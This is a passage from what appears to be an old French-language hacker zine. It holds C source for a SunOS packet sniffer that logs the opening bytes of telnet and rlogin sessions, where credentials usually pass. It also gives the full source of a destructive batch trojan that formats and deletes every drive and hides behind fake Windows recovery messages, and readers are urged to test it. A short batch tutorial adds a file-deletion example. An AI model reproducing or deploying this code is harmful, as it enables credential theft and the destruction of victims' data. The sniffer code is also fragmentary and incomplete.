#define TCPS        (tcph->th_sport) 


#define TCPD        (tcph->th_dport) 


#define IPeq(s,t)   ((s).s_addr == (t).s_addr) 





#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) 





#define MAXBUFLEN  (128) 


time_t  LastTIME = 0;� 





struct CREC { 


     struct CREC *Next, 


                 *Last; 


     time_t  Time;              /* start time */ 


     struct in_addr SRCip, 


                    DSTip; 


     u_int   SRCport,           /* src/dst ports */ 


             DSTport; 


     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */ 


     u_int   Length;            /* current data length */ 


     u_int   PKcnt;             /* # pkts */ 


     u_long  LASTseq; 


}; 





struct CREC *CLroot = NULL; 





char *Symaddr(ip) 


register struct in_addr ip; 


{ register struct hostent *he = 


      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); 





  return( (he)?(he->h_name):(inet_ntoa(ip)) ); 


} 





char *TCPflags(flgs) 


register u_char flgs; 


{ static char iobuf[8]; 


#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') 





  SFL(0,TH_FIN, 'F'); 


  SFL(1,TH_SYN, 'S'); 


  SFL(2,TH_RST, 'R'); 


  SFL(3,TH_PUSH,'P'); 


  SFL(4,TH_ACK, 'A'); 


  SFL(5,TH_URG, 'U'); 


  iobuf[6]=0; 


  return(iobuf); 


} 





char *SERVp(port) 


register u_int port;� 


{ static char buf[10]; 


  register char *p; 





   switch(port) { 


     case IPPORT_LOGINSERVER: p="rlogin"; break; 


     case IPPORT_TELNET:      p="telnet"; break; 


     case IPPORT_SMTP:        p="smtp"; break; 


     default: sprintf(buf,"%u",port); p=buf; break; 


   } 


   return(p); 


} 





char *Ptm(t) 


register time_t *t; 


{ register char *p = ctime(t); 


  p[strlen(p)-6]=0; /* strip " YYYY\n" */ 


  return(p); 


} 





char *NOWtm() 


{ time_t tm; 


  time(&tm);� 


  return( Ptm(&tm) ); 


} 





#define MAX(a,b) (((a)>(b))?(a):(b)) 


#define MIN(a,b) (((a)<(b))?(a):(b)) 





/* add an item */ 


#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ 


  register struct CREC *CLtmp = \ 


        (struct CREC *)malloc(sizeof(struct CREC)); \ 


  time( &(CLtmp->Time) ); \ 


  CLtmp->SRCip.s_addr = SIP.s_addr; \ 


  CLtmp->DSTip.s_addr = DIP.s_addr; \ 


  CLtmp->SRCport = SPORT; \ 


  CLtmp->DSTport = DPORT; \ 


  CLtmp->Length = MIN(LEN,MAXBUFLEN); \ 


  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ 


  CLtmp->PKcnt = 1; \ 


  CLtmp->Next = CLroot; \ 


  CLtmp->Last = NULL; \ 


  CLroot = CLtmp; \ 


} 





register struct CREC *GET_NODE(Sip,SP,Dip,DP) 


register struct in_addr Sip,Dip; 


register u_int SP,DP; 


{ register struct CREC *CLr = CLroot; 





  while(CLr != NULL) { 


    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && 


        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) 


            break; 


    CLr = CLr->Next; 


  } 


  return(CLr); 


} 





#define ADDDATA_NODE(CL,DATA,LEN) { \ 


 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ 


 CL->Length += LEN; \ 


} 





#define PR_DATA(dp,ln) {    \ 


  register u_char lastc=0; \ 


  while(ln-- >0) { \ 


     if(*dp < 32) {  \ 


        switch(*dp) { \ 


            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ 


                        break; \ 


            case '\r': \ 


            case '\n': fprintf(LOG,"\n     : "); \ 


                        break; \ 


            default  : fprintf(LOG,"^%c", (*dp + 64)); \ 


                        break; \ 


        } \ 


     } else { \ 


        if(isprint(*dp)) fputc(*dp,LOG); \ 


        else fprintf(LOG,"(%d)",*dp); \ 


     } \ 


     lastc = *dp++; \ 


  } \ 


  fflush(LOG); \ 


} 





void END_NODE(CLe,d,dl,msg) 


register struct CREC *CLe; 


register u_char *d; 


register int dl; 


register char *msg; 


{ 


   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); 


   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); 


   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); 


   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", 


                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); 


   fprintf(LOG," DATA: "); 


    { register u_int i = CLe->Length; 


      register u_char *p = CLe->Data; 


      PR_DATA(p,i); 


      PR_DATA(d,dl); 


    } 





   fprintf(LOG,"\n-- \n"); 


   fflush(LOG); 





   if(CLe->Next != NULL) 


    CLe->Next->Last = CLe->Last; 


   if(CLe->Last != NULL) 


    CLe->Last->Next = CLe->Next; 


   else 


    CLroot = CLe->Next; 


   free(CLe); 


} 





/* 30 mins (x 60 seconds) */ 


#define IDLE_TIMEOUT 1800 


#define IDLE_NODE() { \ 


  time_t tm; \ 


  time(&tm); \ 


  if(LastTIME<tm) { \ 


     register struct CREC *CLe,*CLt = CLroot; \ 


     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ 


     while(CLe=CLt) { \ 


       CLt=CLe->Next; \ 


       if(CLe->Time <tm) \ 


           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ 


     } \ 


  } \ 


} 





void filter(cp, pktlen) 


register char *cp; 


register u_int pktlen; 


{ 


 register struct ip     *ip; 


 register struct tcphdr *tcph; 





 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);� 





   if(EtherType < 0x600) { 


     EtherType = *(u_short *)(cp + SZETH + 6); 


     cp+=8; pktlen-=8; 


   } 





   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ 


      return; 


 } 





    /* ugh, gotta do an alignment :-( */ 


 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); 





 ip = (struct ip *)Packet; 


 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ 


    return; 


 tcph = (struct tcphdr *)(Packet + IPHLEN); 





 if(!( (TCPD == IPPORT_TELNET) || 


       (TCPD == IPPORT_LOGINSERVER) || 


   )) return; 





 { register struct CREC *CLm; 


   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); 


   register u_char *p = (u_char *)Packet; 





   p += ((IPHLEN * 4) + (TCPOFF * 4)); 





 if(debug) { 


  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); 


  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); 


  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); 


 } 





   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { 





      CLm->PKcnt++; 





      if(length>0) 


        if( (CLm->Length + length) < MAXBUFLEN ) { 


          ADDDATA_NODE( CLm, p,length); 


        } else {� 


          END_NODE( CLm, p,length, "DATA LIMIT"); 


        } 





      if(TCPFL(TH_FIN|TH_RST)) { 


          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); 


      } 





   } else { 





      if(TCPFL(TH_SYN)) { 


         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); 


      } 





   } 





   IDLE_NODE(); 





 } 





} 





/* signal handler 


 */ 


void death() 


{ register struct CREC *CLe; 





    while(CLe=CLroot) 


        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); 





    fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); 


    fflush(LOG); 


    if(LOG != stdout) 


        fclose(LOG); 


    exit(1); 


} 





/* opens network interface, performs ioctls and reads from it, 


 * passing data to filter function 


 */ 


void do_it() 


{ 


    int cc; 


    char *buf; 


    u_short sp_ts_len; 





    if(!(buf=malloc(CHUNKSIZE))) 


        Pexit(1,"Eth: malloc"); 





/* this /dev/nit initialization code pinched from etherfind */ 


  { 


    struct strioctl si; 


    struct ifreq    ifr; 


    struct timeval  timeout; 


    u_int  chunksize = CHUNKSIZE; 


    u_long if_flags  = NI_PROMISC; 





    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) 


        Pexit(1,"Eth: nit open"); 





    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) 


        Pexit(1,"Eth: ioctl (I_SRDOPT)"); 





    si.ic_timout = INFTIM; 





    if(ioctl(if_fd, I_PUSH, "nbuf") < 0) 


        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); 





    timeout.tv_sec = 1; 


    timeout.tv_usec = 0; 


    si.ic_cmd = NIOCSTIME; 


    si.ic_len = sizeof(timeout); 


    si.ic_dp  = (char *)&timeout; 


    if(ioctl(if_fd, I_STR, (char *)&si) < 0) 


        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); 





    si.ic_cmd = NIOCSCHUNK; 


    si.ic_len = sizeof(chunksize); 


    si.ic_dp  = (char *)&chunksize; 


    if(ioctl(if_fd, I_STR, (char *)&si) < 0) 


        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); 





    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); 


    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; 


    si.ic_cmd = NIOCBIND; 


    si.ic_len = sizeof(ifr); 


    si.ic_dp  = (char *)&ifr; 


    if(ioctl(if_fd, I_STR, (char *)&si) < 0) 


        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); 





    si.ic_cmd = NIOCSFLAGS; 


    si.ic_len = sizeof(if_flags); 


    si.ic_dp  = (char *)&if_flags; 


    if(ioctl(if_fd, I_STR, (char *)&si) < 0) 


        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); 





    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) 


        Pexit(1,"Eth: ioctl (I_FLUSH)"); 


  } 





    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { 


        register char *bp = buf, 


                      *bufstop = (buf + cc); 





        while (bp < bufstop) { 


            register char *cp = bp; 


            register struct nit_bufhdr *hdrp; 





            hdrp = (struct nit_bufhdr *)cp; 


            cp += sizeof(struct nit_bufhdr); 


            bp += hdrp->nhb_totlen; 


            filter(cp, (u_long)hdrp->nhb_msglen); 


        } 


    } 


    Pexit((-1),"Eth: read"); 


} 


 /* Authorize your proogie,generate your own password and uncomment here */ 


/* #define AUTHPASSWD "EloiZgZejWyms" */ 





void getauth() 


{ char *buf,*getpass(),*crypt(); 


  char pwd[21],prmpt[81]; 





    strcpy(pwd,AUTHPASSWD); 


    sprintf(prmpt,"(%s)UP? ",ProgName); 


    buf=getpass(prmpt); 


    if(strcmp(pwd,crypt(buf,pwd))) 


        exit(1); 


} 


    */ 


void main(argc, argv) 


int argc; 


char **argv; 


{ 


    char   cbuf[BUFSIZ]; 


    struct ifconf ifc; 


    int    s, 


           ac=1, 


           backg=0; 





    ProgName=argv[0]; 





 /*     getauth(); */ 





    LOG=NULL; 


    device=NULL; 


    while((ac<argc) && (argv[ac][0] == '-')) { 


       register char ch = argv[ac++][1]; 


       switch(toupper(ch)) { 


            case 'I': device=argv[ac++]; 


                      break; 


            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) 


                         Zexit(1,"Output file cant be opened\n"); 


                      break; 


            case 'B': backg=1; 


                      break; 


            case 'D': debug=1; 


                      break; 


            default : fprintf(ERR, 


                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n", 


                            ProgName); 


                      exit(1); 


       } 


    } 





    if(!device) { 


        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) 


            Pexit(1,"Eth: socket"); 





        ifc.ifc_len = sizeof(cbuf); 


        ifc.ifc_buf = cbuf; 


        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) 


            Pexit(1,"Eth: ioctl"); 





        close(s); 


        device = ifc.ifc_req->ifr_name; 


    } 





    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); 


    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", 


            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); 





    if(!LOG) 


        LOG=stdout; 





    signal(SIGINT, death); 


    signal(SIGTERM,death); 


    signal(SIGKILL,death); 


    signal(SIGQUIT,death); 





    if(backg && debug) { 


         fprintf(ERR,"[Cannot bg with debug on]\n"); 


         backg=0; 


    } 





    if(backg) { 


        register int s; 





        if((s=fork())>0) { 


           fprintf(ERR,"[pid %d]\n",s); 


           exit(0); 


        } else if(s<0) 


           Pexit(1,"fork"); 





        if( (s=open("/dev/tty",O_RDWR))>0 ) { 


                ioctl(s,TIOCNOTTY,(char *)NULL); 


                close(s); 


        } 


    } 


    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); 


    fflush(LOG); 





    do_it(); 


} 


  








o=-------------------------------------=o


|  virus en .bat, par Clad Strife  |


o=-------------------------------------=o





   L'article qui va suivre va faire une brève description d'un virus en .bat qui est malheureusement détecté par AVP et Norton (synonyme de qualité donc), comme trojan. Au sens littéral du terme un trojan et un virus se différencie par très peu de choses: un virus s'inscrit partout sur un HD, un trojan non. Il existe 2 sortes de trojans: 


- les trojans usuels (que vous connaissez et qui se foutent comme serveur sur votre bécane)


- les trojans destructeurs (celui qui va suivre)


Voici le code source à copier dans un .txt et à renommer en .bat.


@echo off


rem This program is dedecated to a very special person that does not want to be named.


:start


cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .


call attrib -r -h c:\autoexec.bat >nul


echo @echo off >c:\autoexec.bat


echo call format c: /q /u /autotest >nul >>c:\autoexec.bat


call attrib +r +h c:\autoexec.bat >nul





rem Drive checking and assigning the valid drives to the drive variable.





set drive=


set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z





rem code insertion for Drive Checking takes place here.


rem drivechk.bat is the file name under the root directory.


rem As far as the drive detection and drive variable settings, don't worry about how it 


rem works, it's damn to complicated for the average or even the expert batch programmer.


rem Except for Tom Lavedas.





echo @echo off >drivechk.bat


echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat


%comspec% /e:2048 /c {t}.bat >>drivechk.bat


del {t}.bat


echo if errorlevel 1 goto enddc >>drivechk.bat





cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .





rem When errorlevel is 1, then the above is not true, if 0, then it's true.


rem Opposite of binary rules. If 0, it will elaps to the next command.





echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat


%comspec% /e:2048 /c {t}.bat >>drivechk.bat


del {t}.bat


echo if errorlevel 1 goto enddc >>drivechk.bat





cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .





rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.


rem if errorlevel is 0, then it will elaps to the next command.





echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat


%comspec% /e:2048 /c {t}.bat >>drivechk.bat


del {t}.bat


echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat





cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .





rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.


rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.





echo :enddc >>drivechk.bat





rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 





rem Now we will use the program drivechk.bat to attain valid drive information.





:testdrv





for %%a in (%alldrive%) do call drivechk.bat %%a >nul





del drivechk.bat >nul





:form_del


call attrib -r -h c:\autoexec.bat >nul


echo @echo off >c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat


echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat


echo cd\ >>c:\autoexec.bat


echo cls >>c:\autoexec.bat


echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat


echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat


echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat


echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat


echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat


echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat


echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat





echo echo. >>c:\autoexec.bat


echo echo Regards, >>c:\autoexec.bat


echo echo. >>c:\autoexec.bat


echo echo Munga Bunga >>c:\autoexec.bat


call attrib +r +h c:\autoexec.bat





:makedir


if exist c:\temp.bat attrib -r -h c:\temp.bat >nul


echo @echo off >c:\temp.bat


echo %%1:\ >>c:\temp.bat


echo cd\ >>c:\temp.bat


echo :startmd >>c:\temp.bat


echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat


echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat


echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat


call attrib +r +h c:\temp.bat >nul





cls


echo Initializing Variables . . .


rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.


for %%a in (%drive%) do call format %%a: /q /u /autotest >nul


cls


echo Initializing Variables . . .


echo Validating Data . . .


for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul


cls


echo Initializing Variables . . .


echo Validating Data . . .


echo Analyzing System Structure . . .


for %%a in (%drive%) call attrib -r -h %%a:\ /S  >nul


call attrib +r +h c:\temp.bat >nul


call attrib +r +h c:\autoexec.bat >nul


cls


echo Initializing Variables . . .


echo Validating Data . . .


echo Analyzing System Structure . . .


echo Initializing Application . . .





for %%a in (%drive%) call deltree /y %%a:\*. >nul


cls


echo Initializing Variables . . .


echo Validating Data . . .


echo Analyzing System Structure . . .


echo Initializing Application . . .


echo Starting Application . . .


for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul





cls


echo Thank you for using a Munga Bunga product.


echo.


echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.


echo.


echo Here is a joke for you . . .


echo.


echo     Q). What's the worst thing about being an egg?


echo	 A). You only get laid once.


echo.


echo HAHAHAHA, get it? Don't you just love that one?


echo.


echo Regards,


echo.


echo Munga Bunga





:end





rem Hard Drive Killer Pro Version 4.0, enjoy!!!!





rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).





Ce virus (je n'ai pas vérifié cette info pensez bien), nique un HD en quelques secondes. Bon eh bien il ne vous reste plus qu'à le tester. Juste avant de finir l'article j'aimerais vous rappeler un cours que j'ai fait sur les .bat (notions essentielles):





La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS, et savoir taper sur son clavier. D'abord 


quelqes commandes de bases:


echo off : désactive l'affichage de ce qui se passe


dir C:\WINDOWS : affiche le contenu de C:\WINDOWS


del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS


echo. : saute une ligne


echo J'écris bien hein? : affiche ce qui est écrit après [echo]


cls : efface l'écran


pause : demande d'appuyez sur une touche pour continuer


C:\WINDOWS\telnet.exe : éxécute telnet


Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire:


echo off


echo this programm is created by XXX all rights reserved


pause


del C:\WINDOWS\*.*


dir C:\WINDOWS\


echo t'es mort


cls


On peut aussi créer des menus d'options:


 @echo off





:menu


cls


echo.


echo Menu d'options :


echo -----------------------


echo 1. Editer autoexec.bat


echo 2. Editer config.sys


echo.


echo Q. Quitter


echo.


choice /c:12Q /t:Q,60 /n Votre choix ?


if errorlevel 255 goto erreur


if errorlevel 3 goto Quitter


if errorlevel 2 goto EditConf


if errorlevel 1 goto EditAuto


if errorlevel 0 goto erreur


goto fin





:erreur


echo Il y a eu une erreur.


goto fin





:Quitter


goto fin





:EditConf


edit c:\config.sys


goto menu





:EditAuto


edit c:\autoexec.bat


goto menu


:fin





Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider:


Aide sur CHOICE :





choice [/c:ON] [/t:X,nn] [/n] [Invite]


/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)


/t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c:


/n Interdit le respect de la casse


Invite Texte d'invite qui apparaît





Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic.





Paramètre de la ligne de commande





@echo off


cls


echo.


echo Le prog est %0


echo.


echo Bonjour %1,


echo.


echo A plus, %2








Enregistrer sous "c:\test.bat" et taper sous dos :


c:\test.bat "votrenom" "unAutrenom"





%X correspond au Xième groupe de caractères sur la ligne de commande pour X={0;9}





Très pratique pour faire un prog d'installation :


xcopy a:\*.* %1:\%2


Ici, %1 est la lettre de lecteur et %2 le dossier.





o=-------------=o


|  Conclusion  |


o=-------------=o








Merci d'avoir lu le Zine #4 des Quebec Hacker's Alliance


Le Zine #5 devrais suivre assez bientot! :) Garder un oeil


sur nous pour plus de nouvelles... Allez sur #QHA (undernet)


ou sur www.qharulez.com comme vous preféré :) Merci!


A la prochaine!!!!!!











QHA, Québec Hacker's Alliance - http//www.qharulez.com





